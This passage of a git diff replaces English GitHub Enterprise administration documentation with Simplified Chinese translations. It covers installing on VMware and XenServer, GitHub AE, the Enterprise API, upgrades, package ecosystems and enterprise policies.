-- You will need access to a vSphere Client. If you have vCenter Server you can use the vSphere Web Client. For more information, see the VMware guide "[Log in to vCenter Server by Using the vSphere Web Client](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.install.doc/GUID-CE128B59-E236-45FF-9976-D134DADC8178.html)."
+- 您必须为将要运行 {% data variables.product.product_location %} 的裸金属机应用 VMware vSphere ESXi Hypervisor。 我们支持版本 5.5 到 6.7。 ESXi Hypervisor 免费提供，不包含（可选）vCenter Server。 更多信息请参阅 [VMware ESXi 文档](https://www.vmware.com/products/esxi-and-esx.html)。
+- 您将需要访问 vSphere Client。 如果您有 vCenter Server，可以使用 vSphere Web Client。 更多信息请参阅 VMware 指南“[使用 vSphere Web Client 登录 vCenter Server](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.install.doc/GUID-CE128B59-E236-45FF-9976-D134DADC8178.html)”。
 
-## Hardware considerations
+## 硬件考量因素
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Downloading the {% data variables.product.prodname_ghe_server %} image
+## 下载 {% data variables.product.prodname_ghe_server %} 映像
 
 {% data reusables.enterprise_installation.enterprise-download-procedural %}
 {% data reusables.enterprise_installation.download-license %}
 {% data reusables.enterprise_installation.download-appliance %}
-4. Select {% data variables.product.prodname_dotcom %} On-premises, then click **VMware ESXi/vSphere (OVA)**.
-5. Click **Download for VMware ESXi/vSphere (OVA)**.
+4. 选择 {% data variables.product.prodname_dotcom %} 内部部署，然后单击 **VMware ESXi/vSphere (OVA)**。
+5. 单击 **Download for VMware ESXi/vSphere (OVA)**。
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## 创建 {% data variables.product.prodname_ghe_server %} 实例
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. Using the vSphere Windows Client or the vCenter Web Client, import the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the VMware guide "[Deploy an OVF or OVA Template](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-17BEDA21-43F6-41F4-8FB2-E01D275FE9B4.html)."
-    - When selecting a datastore, choose one with sufficient space to host the VM's disks. For the minimum hardware specifications recommended for your instance size, see "[Hardware considerations](#hardware-considerations)." We recommend thick provisioning with lazy zeroing.
-    - Leave the **Power on after deployment** box unchecked, as you will need to add an attached storage volume for your repository data after provisioning the VM.
-{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the VMware guide "[Add a New Hard Disk to a Virtual Machine](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-F4917C61-3D24-4DB9-B347-B5722A84368C.html)."
+1. 使用 vSphere Windows Client 或 vCenter Web Client 导入您下载的 {% data variables.product.prodname_ghe_server %} 映像。 有关说明，请参阅 VMware 指南“[部署 OVF 或 OVA 模板](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-17BEDA21-43F6-41F4-8FB2-E01D275FE9B4.html)”。
+    - 选择数据存储时，请选择空间足以容纳 VM 磁盘的数据存储。 有关建议为实例使用的最低硬件规格，请参阅“[硬件考量因素](#hardware-considerations)”。 建议采用支持延迟归零的密集预配。
+    - 让 **Power on after deployment** 框保持取消选中状态，因为您需要在配置 VM 后为仓库数据添加连接的存储卷。
+{% data reusables.enterprise_installation.create-attached-storage-volume %} 有关说明，请参阅 VMware 指南“[向虚拟机添加新硬盘](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-F4917C61-3D24-4DB9-B347-B5722A84368C.html)”。
 
-## Configuring the {% data variables.product.prodname_ghe_server %} instance
+## 配置 {% data variables.product.prodname_ghe_server %} 实例
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} 更多信息请参阅“[配置 {% data variables.product.prodname_ghe_server %} 设备](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)”。
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## 延伸阅读
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- "[系统概述](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[关于升级到新版本](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md
index 0f2545636d..b328bd0fea 100644
--- a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md
+++ b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md
@@ -1,63 +1,63 @@
 ---
-title: Installing GitHub Enterprise Server on XenServer
-intro: 'To install {% data variables.product.prodname_ghe_server %} on XenServer, you must deploy the {% data variables.product.prodname_ghe_server %} disk image to a XenServer host.'
+title: 在 XenServer 上安装 GitHub Enterprise Server
+intro: '要在 XenServer 上安装 {% data variables.product.prodname_ghe_server %}，您必须先将 {% data variables.product.prodname_ghe_server %} 磁盘映像部署到 XenServer 主机。'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-xenserver
   - /enterprise/admin/installation/installing-github-enterprise-server-on-xenserver
   - /admin/installation/installing-github-enterprise-server-on-xenserver
 versions:
-  ghes: '<=3.2'
+  ghes: <=3.2
 type: tutorial
 topics:
   - Administrator
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on XenServer
+shortTitle: 在 XenServer 上安装
 ---
 
 {% note %}
 
-  **Note:** Support for {% data variables.product.prodname_ghe_server %} on XenServer will be discontinued in {% data variables.product.prodname_ghe_server %} 3.3. For more information, see the [{% data variables.product.prodname_ghe_server %} 3.1 release notes](/admin/release-notes#3.1.0)
+  **注意：**XenServer 上对 {% data variables.product.prodname_ghe_server %} 的支持将在 {% data variables.product.prodname_ghe_server %} 3.3 中停止。 更多信息请参阅 [{% data variables.product.prodname_ghe_server %} 3.1 版本说明](/admin/release-notes#3.1.0)
 
 {% endnote %}
 
-## Prerequisites
+## 基本要求
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must install the XenServer Hypervisor on the machine that will run your {% data variables.product.prodname_ghe_server %} virtual machine (VM). We support versions 6.0 through 7.0.
-- We recommend using the XenCenter Windows Management Console for initial setup. Instructions using the XenCenter Windows Management Console are included below. For more information, see the Citrix guide "[How to Download and Install a New Version of XenCenter](https://support.citrix.com/article/CTX118531)."
+- 您必须在将要运行 {% data variables.product.prodname_ghe_server %} 虚拟机 (VM) 的机器上安装 XenServer Hypervisor 。 我们支持版本 6.0 到 7.0。
+- 我们建议使用 XenCenter Windows Management Console 进行初始设置。 下文介绍了使用 XenCenter Windows Management Console 的说明。 更多信息请参阅 Citrix 指南“[如何下载和安装 XenCenter](https://support.citrix.com/article/CTX118531)”。
 
-## Hardware considerations
+## 硬件考量因素
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Downloading the {% data variables.product.prodname_ghe_server %} image
+## 下载 {% data variables.product.prodname_ghe_server %} 映像
 
 {% data reusables.enterprise_installation.enterprise-download-procedural %}
 {% data reusables.enterprise_installation.download-license %}
 {% data reusables.enterprise_installation.download-appliance %}
-4. Select {% data variables.product.prodname_dotcom %} On-premises, then click **XenServer (VHD)**.
-5. To download your license file, click **Download license**.
+4. 选择 {% data variables.product.prodname_dotcom %} 内部部署，然后单击 **XenServer (VHD)**。
+5. 要下载许可文件，请单击 **Download license**。
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## 创建 {% data variables.product.prodname_ghe_server %} 实例
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. In XenCenter, import the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the XenCenter guide "[Import Disk Images](https://docs.citrix.com/en-us/xencenter/current-release/vms-importdiskimage.html)."
-    - For the "Enable Operating System Fixup" step, select **Don't use Operating System Fixup**.
-    - Leave the VM powered off when you're finished.
-{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the XenCenter guide "[Add Virtual Disks](https://docs.citrix.com/en-us/xencenter/current-release/vms-storage-addnewdisk.html)."
+1. 在 XenCenter 中，导入您下载的 {% data variables.product.prodname_ghe_server %} 映像。 有关说明，请参阅 XenCenter 指南“[导入磁盘映像](https://docs.citrix.com/en-us/xencenter/current-release/vms-importdiskimage.html)”。
+    - 对于“启用操作系统修复”步骤，请选择 **Don't use Operating System Fixup**。
+    - 完成后使 VM 保持关机状态。
+{% data reusables.enterprise_installation.create-attached-storage-volume %} 有关说明，请参阅 XenCenter 指南“[添加虚拟磁盘](https://docs.citrix.com/en-us/xencenter/current-release/vms-storage-addnewdisk.html)”。
 
-## Configuring the {% data variables.product.prodname_ghe_server %} instance
+## 配置 {% data variables.product.prodname_ghe_server %} 实例
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} 更多信息请参阅“[配置 {% data variables.product.prodname_ghe_server %} 设备](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)”。
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## 延伸阅读
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- "[系统概述](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[关于升级到新版本](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/zh-CN/content/admin/overview/about-github-ae.md b/translations/zh-CN/content/admin/overview/about-github-ae.md
index 62d5fcf17b..25d0efb8b0 100644
--- a/translations/zh-CN/content/admin/overview/about-github-ae.md
+++ b/translations/zh-CN/content/admin/overview/about-github-ae.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub AE
-intro: '{% data variables.product.prodname_ghe_managed %} is a security-enhanced and compliant way to use {% data variables.product.prodname_dotcom %} in the cloud.'
+title: 关于 GitHub AE
+intro: '{% data variables.product.prodname_ghe_managed %} 是一种在云端使用 {% data variables.product.prodname_dotcom %} 的安全性更强的标准方法。'
 versions:
   ghae: '*'
 type: overview
@@ -9,33 +9,33 @@ topics:
   - Fundamentals
 ---
 
-## About {% data variables.product.prodname_ghe_managed %}
+## 关于 {% data variables.product.prodname_ghe_managed %}
 
-{% data reusables.github-ae.github-ae-enables-you %} {% data variables.product.prodname_ghe_managed %} is fully managed, reliable, and scalable, allowing you to accelerate delivery without sacrificing risk management.
+{% data reusables.github-ae.github-ae-enables-you %} {% data variables.product.prodname_ghe_managed %} 受到完全管理、可靠和且可扩展的，允许您在不牺牲风险管理的情况下加速交付。
 
-{% data variables.product.prodname_ghe_managed %} offers one developer platform from idea to production. You can increase development velocity with the tools that teams know and love, while you maintain industry and regulatory compliance with unique security and access controls, workflow automation, and policy enforcement. 
+{% data variables.product.prodname_ghe_managed %} 提供一个从想法到生产的开发者平台。 您可以使用团队了解和喜爱的工具提高开发速度，同时通过独特的安全和访问控制、工作流自动化及政策执行来维护行业和监管合规性。
 
-## A highly available and planet-scale cloud
+## 高度可用的行星级云
 
-{% data variables.product.prodname_ghe_managed %} is a fully managed service, hosted in a high availability architecture. {% data variables.product.prodname_ghe_managed %} is hosted globally in a cloud that can scale to support your full development lifecycle without limits. {% data variables.product.prodname_dotcom %} fully manages backups, failover, and disaster recovery, so you never need to worry about your service or data. 
+{% data variables.product.prodname_ghe_managed %} 是一项完全管理的服务，托管在高可用性架构中。 {% data variables.product.prodname_ghe_managed %} 全球托管于云中，可以不受限制地扩展以支持您的完整开发生命周期。 {% data variables.product.prodname_dotcom %} 完全管理备份、故障转移和灾难恢复，因此您无需担心您的服务或数据。
 
-## Data residency
+## 数据存储
 
-All of your data is stored within the geographic region of your choosing. You can comply with GDPR and global data protection standards by keeping all of your data within your chosen region.
+您的所有数据都存储在您选择的地理区域内。 您可以遵守 GDRPR 和全球数据保护标准，将您的所有数据保存在您选定的区域。
 
-## Isolated accounts
+## 隔离的帐户
 
-All developer accounts are fully isolated in {% data variables.product.prodname_ghe_managed %}. You can fully control the accounts through your identity provider, with SAML single sign on as mandatory. SCIM enables you to ensure that employees only have access to the resources they should, as defined in your central identity management system. For more information, see "[Managing identity and access for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise)."
+所有开发者帐户在 {% data variables.product.prodname_ghe_managed %} 中完全隔离。 您可以通过身份提供商完全控制帐户，以 SAML 单点登录作为强制性要求。 SCIM 可让您确保员工只能访问他们应该访问的资源，如您的中央身份管理系统中所定义。 更多信息请参阅“[管理企业的身份和访问](/admin/authentication/managing-identity-and-access-for-your-enterprise)”。
 
-## Restricted network access
+## 受限制的网络访问
 
-Secure access to your enterprise on {% data variables.product.prodname_ghe_managed %} with restricted network access, so that your data can only be accessed from within your network. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/restricting-network-traffic-to-your-enterprise)."
+以受限的网络访问权限保护对您在 {% data variables.product.prodname_ghe_managed %} 上的企业的访问，以便只能从您的网络内访问您的数据。 更多信息请参阅“[限制到企业的网络流量](/admin/configuration/restricting-network-traffic-to-your-enterprise)”。
 
-## Commercial and government environments
+## 商业和政府环境
 
-{% data variables.product.prodname_ghe_managed %} is available in the Azure Government cloud, the trusted cloud for US government agencies and their partners. {% data variables.product.prodname_ghe_managed %} is also available in the commercial cloud, so you can choose the hosting environment that is right for your organization.
+{% data variables.product.prodname_ghe_managed %} 可用于 Azure Government 云（是美国政府机构及其伙伴信任的云）。 {% data variables.product.prodname_ghe_managed %} 也可在商业云中使用，因此您可以选择适合您组织的托管环境。
 
-## Further reading
+## 延伸阅读
 
 - "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)"
-- "[Receiving help from {% data variables.product.company_short %} Support](/admin/enterprise-support/receiving-help-from-github-support)"
+- "[从 {% data variables.product.company_short %} 支持获得帮助](/admin/enterprise-support/receiving-help-from-github-support)"
diff --git a/translations/zh-CN/content/admin/overview/about-the-github-enterprise-api.md b/translations/zh-CN/content/admin/overview/about-the-github-enterprise-api.md
index 13c1255fff..1d1e711050 100644
--- a/translations/zh-CN/content/admin/overview/about-the-github-enterprise-api.md
+++ b/translations/zh-CN/content/admin/overview/about-the-github-enterprise-api.md
@@ -1,6 +1,6 @@
 ---
-title: About the GitHub Enterprise API
-intro: '{% data variables.product.product_name %} supports REST and GraphQL APIs.'
+title: 关于 GitHub Enterprise API
+intro: '{% data variables.product.product_name %} 支持 REST 和 GraphQL API。'
 redirect_from:
   - /enterprise/admin/installation/about-the-github-enterprise-server-api
   - /enterprise/admin/articles/about-the-enterprise-api
@@ -16,12 +16,12 @@ topics:
 shortTitle: GitHub Enterprise API
 ---
 
-With the APIs, you can automate many administrative tasks. Some examples include:
+利用 API，您可以自动处理多种管理任务。 包含以下例子：
 
 {% ifversion ghes %}
-- Perform changes to the {% data variables.enterprise.management_console %}. For more information, see "[{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#management-console)."
-- Configure LDAP sync. For more information, see "[LDAP](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#ldap)."{% endif %}
-- Collect statistics about your enterprise. For more information, see "[Admin stats](/rest/reference/enterprise-admin#admin-stats)."
-- Manage your enterprise account. For more information, see "[Enterprise accounts](/graphql/guides/managing-enterprise-accounts)."
+- 对 {% data variables.enterprise.management_console %} 进行更改。 更多信息请参阅“[{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#management-console)”。
+- 配置 LDAP 同步。 更多信息请参阅“[LDAP](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#ldap)”。{% endif %}
+- 收集关于企业的统计信息。 更多信息请参阅“[管理统计](/rest/reference/enterprise-admin#admin-stats)”。
+- 管理企业帐户。 更多信息请参阅“[企业帐户](/graphql/guides/managing-enterprise-accounts)”。
 
-For the complete documentation for {% data variables.product.prodname_enterprise_api %}, see [{% data variables.product.prodname_dotcom %} REST API](/rest) and [{% data variables.product.prodname_dotcom%} GraphQL API](/graphql). 
+有关 {% data variables.product.prodname_enterprise_api %} 的完整文档，请参阅 [{% data variables.product.prodname_dotcom %} REST API](/rest) and [{% data variables.product.prodname_dotcom%} GraphQL API](/graphql)。 
diff --git a/translations/zh-CN/content/admin/overview/about-upgrades-to-new-releases.md b/translations/zh-CN/content/admin/overview/about-upgrades-to-new-releases.md
index 4e4de2165b..256cb3ac3b 100644
--- a/translations/zh-CN/content/admin/overview/about-upgrades-to-new-releases.md
+++ b/translations/zh-CN/content/admin/overview/about-upgrades-to-new-releases.md
@@ -1,7 +1,7 @@
 ---
-title: About upgrades to new releases
-shortTitle: About upgrades
-intro: '{% ifversion ghae %}Your enterprise on {% data variables.product.product_name %} is updated with the latest features and bug fixes on a regular basis by {% data variables.product.company_short %}.{% else %}You can benefit from new features and bug fixes for {% data variables.product.product_name %} by upgrading your enterprise to a newly released version.{% endif %}'
+title: 关于升级到新版本
+shortTitle: 关于升级
+intro: '{% ifversion ghae %}您在 {% data variables.product.product_name %} 上的企业定期由 {% data variables.product.company_short %} 使用最新功能和漏洞补丁更新。{% else %}您可以通过将企业升级到新版本以获得 {% data variables.product.product_name %} 的新功能和漏洞补丁。{% endif %}'
 versions:
   ghes: '*'
   ghae: '*'
@@ -10,40 +10,41 @@ topics:
   - Enterprise
   - Upgrades
 ---
+
 {% ifversion ghes < 3.3 %}{% data reusables.enterprise.upgrade-ghes-for-features %}{% endif %}
 
-{% data variables.product.product_name %} is constantly improving, with new functionality and bug fixes introduced through feature and patch releases. {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %} is a fully managed service, so {% data variables.product.company_short %} completes the upgrade process for your enterprise.{% endif %}
+{% data variables.product.product_name %} 在不断改进，通过功能和补丁版本引入新功能和漏洞补丁。 {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %} 是一项完全管理的服务，因此 {% data variables.product.company_short %} 可完成企业的升级过程。{% endif %}
 
-Feature releases include new functionality and feature upgrades and typically occur quarterly. {% ifversion ghae %}{% data variables.product.company_short %} will upgrade your enterprise to the latest feature release. You will be given advance notice of any planned downtime for your enterprise.{% endif %}
+功能版本包括新的功能和功能升级，通常每季度进行一次。 {% ifversion ghae %}{% data variables.product.company_short %} 会将您的企业升级到最新的功能版本。 您的企业如有任何计划内的停机，都会提前通知您。{% endif %}
 
 {% ifversion ghes %}
 
-Starting with {% data variables.product.prodname_ghe_server %} 3.0, all feature releases begin with at least one release candidate. Release candidates are proposed feature releases, with a complete feature set. There may be bugs or issues in a release candidate which can only be found through feedback from customers actually using {% data variables.product.product_name %}. 
+从 {% data variables.product.prodname_ghe_server %} 3.0 开始，所有功能版本开始都至少有一个候选版本。 候选版本是提议的功能版本，具有完整的功能集。 候选版本中可能存在错误或问题，只能通过实际使用 {% data variables.product.product_name %} 的客户反馈来找到。
 
-You can get early access to the latest features by testing a release candidate as soon as the release candidate is available. You can upgrade to a release candidate from a supported version and can upgrade from the release candidate to later versions when released. You should upgrade any environment running a release candidate as soon as the release is generally available. For more information, see "[Upgrade requirements](/admin/enterprise-management/upgrade-requirements)."
+只要候选版本可用，您便可通过测试候选版本来提早访问最新功能。 您可以从支持的版本升级到候选版本，并在发布时从版本候选版本升级到更新版本。 只要版本发布，您便应该升级运行候选版本的任何环境。 更多信息请参阅“[升级要求](/admin/enterprise-management/upgrade-requirements)”。
 
-Release candidates should be deployed on test or staging environments. As you test a release candidate, please provide feedback by contacting support. For more information, see "[Working with {% data variables.contact.github_support %}](/admin/enterprise-support)."
+候选版本应部署在测试或暂存环境中。 在测试候选版本时，请通过联系支持提供反馈。 更多信息请参阅“[使用 {% data variables.contact.github_support %}](/admin/enterprise-support)”。
 
-We'll use your feedback to apply bug fixes and any other necessary changes to create a stable production release. Each new release candidate adds bug fixes for issues found in prior versions. When the release is ready for widespread adoption, {% data variables.product.company_short %} publishes a stable production release.
+我们将使用您的反馈应用漏洞补丁及任何其他必要的更改来创建稳定的生产版本。 每个新的候选版本都会为以前版本中发现的问题添加漏洞补丁。 当版本可供广泛采用时，{% data variables.product.company_short %} 将发布稳定的生产版本。
 
 {% endif %}
 
 {% warning %}
 
-**Warning**: The upgrade to a new feature release will cause a few hours of downtime, during which none of your users will be able to use the enterprise. You can inform your users about downtime by publishing a global announcement banner, using your enterprise settings or the REST API. For more information, see "[Customizing user messages on your instance](/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)" and "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#announcements)."
+**警告**：升级到新的功能版本将导致几个小时的停机，在此期间，您的用户将无法使用企业。 您可以使用您的企业设置或 REST API 发布全球公告横幅，告知用户停机。 更多信息请参阅“[自定义您的实例上的用户消息](/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)”和“[{% data variables.product.prodname_enterprise %} 管理员](/rest/reference/enterprise-admin#announcements)”。
 
 {% endwarning %}
 
 {% ifversion ghes %}
 
-Patch releases, which consist of hot patches and bug fixes only, happen more frequently. Patch releases are generally available when first released, with no release candidates. Upgrading to a patch release typically requires less than five minutes of downtime.
+只包含热补丁和漏洞补丁的补丁版本会更频繁地发布。 首次发布时通常提供补丁版本，没有候选版本。 升级到补丁版本通常需要不到五分钟的停机时间。
 
-To upgrade your enterprise to a new release, see "[Release notes](/enterprise-server/admin/release-notes)" and "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server)." Because you can only upgrade from a feature release that's at most two releases behind, use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.
+要将您的企业升级到新版本，请参阅“[发行说明](/enterprise-server/admin/release-notes)”和“[升级 {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server)”。 Because you can only upgrade from a feature release that's at most two releases behind, use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.
 
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
-- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) in the  `github/roadmap` repository{% ifversion ghae %}
-- [ {% data variables.product.prodname_ghe_managed %} release notes](/admin/release-notes)
+- `github/roadmap` 仓库中的 [ {% data variables.product.prodname_roadmap %} ]({% data variables.product.prodname_roadmap_link %}){% ifversion ghae %}
+- [ {% data variables.product.prodname_ghe_managed %} 发行说明](/admin/release-notes)
 {% endif %}
diff --git a/translations/zh-CN/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md b/translations/zh-CN/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md
index 4fd8161345..af97d12531 100644
--- a/translations/zh-CN/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md
+++ b/translations/zh-CN/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md
@@ -23,7 +23,10 @@ shortTitle: 配置包生态系统
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_site_admin_settings.packages-tab %}
-1. 在“Ecosystem Toggles（生态系统切换）”下，为每个包类型选择 **Enabled（启用）**、**Read-Only（只读）**或 **Disabled（禁用）**。 ![生态系统切换](/assets/images/enterprise/site-admin-settings/ecosystem-toggles.png)
+1. 在“Ecosystem Toggles（生态系统切换）”下，为每个包类型选择 **Enabled（启用）**、**Read-Only（只读）**或 **Disabled（禁用）**。
+{% ifversion ghes > 3.1 %}
+  ![生态系统切换](/assets/images/enterprise/site-admin-settings/ecosystem-toggles.png){% else %}
+![Ecosystem toggles](/assets/images/enterprise/3.1/site-admin-settings/ecosystem-toggles.png){% endif %}
 {% data reusables.enterprise_management_console.save-settings %}
 
 {% ifversion ghes = 3.0 or ghes > 3.0 %}
@@ -41,6 +44,8 @@ shortTitle: 配置包生态系统
 
 请注意，`registry.npmjs.com` 的连接遍历 Cloudflare 网络，但此后不连接至单个静态 IP 地址；而是连接到此处列出的 CIDR 范围内的 IP 地址：https://www.cloudflare.com/ips/。
 
+If you wish to enable npm upstream sources, select `Enabled` for `npm upstreaming`.
+
 {% endif %}
 
 ## 后续步骤
diff --git a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
index 3756eb9670..db4f720205 100644
--- a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
+++ b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Enforcing policies for dependency insights in your enterprise
 intro: 'You can enforce policies for dependency insights within your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for dependency insights in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /articles/enforcing-a-policy-on-dependency-insights
   - /articles/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account
@@ -22,16 +21,14 @@ shortTitle: Policies for dependency insights
 
 ## About policies for dependency insights in your enterprise
 
-Dependency insights show all packages that repositories within your enterprise's organizations depend on. Dependency insights include aggregated information about security advisories and licenses. For more information, see "[Viewing insights for your organization](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization)."
+Dependency insights show all packages that repositories within your enterprise's organizations depend on. Dependency insights include aggregated information about security advisories and licenses. 更多信息请参阅“[查看用于组织的洞见](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization)”。
 
 ## Enforcing a policy for visibility of dependency insights
 
-Across all organizations owned by your enterprise, you can control whether organization members can view dependency insights. You can also allow owners to administer the setting on the organization level. For more information, see "[Changing the visibility of your organization's dependency insights](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights)."
+Across all organizations owned by your enterprise, you can control whether organization members can view dependency insights. You can also allow owners to administer the setting on the organization level. 更多信息请参阅“[更改组织依赖项洞察的可见性](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights)”。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
-3. In the left sidebar, click **Organizations**.
-  ![Organizations tab in the enterprise sidebar](/assets/images/help/business-accounts/settings-policies-org-tab.png)
-4. Under "Organization policies", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "Organization policies", use the drop-down menu and choose a policy.
-  ![Drop-down menu with organization policies options](/assets/images/help/business-accounts/organization-policy-drop-down.png)
+3. In the left sidebar, click **Organizations**. ![Organizations tab in the enterprise sidebar](/assets/images/help/business-accounts/settings-policies-org-tab.png)
+4. 在“Organization policies”（组织政策）下。审查有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. 在“Organization projects”（组织项目）下，使用下拉菜单并选择策略。 ![带有组织策略选项的下拉菜单](/assets/images/help/business-accounts/organization-policy-drop-down.png)
diff --git a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md
index 246bc09758..1dfc8445ab 100644
--- a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md
+++ b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md
@@ -27,21 +27,21 @@ shortTitle: GitHub Actions policies
 
 {% data reusables.actions.enterprise-beta %}
 
-## About policies for {% data variables.product.prodname_actions %} in your enterprise
+## 关于企业中 {% data variables.product.prodname_actions %} 的策略
 
 {% data variables.product.prodname_actions %} helps members of your enterprise automate software development workflows on {% data variables.product.product_name %}. For more information, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)."
 
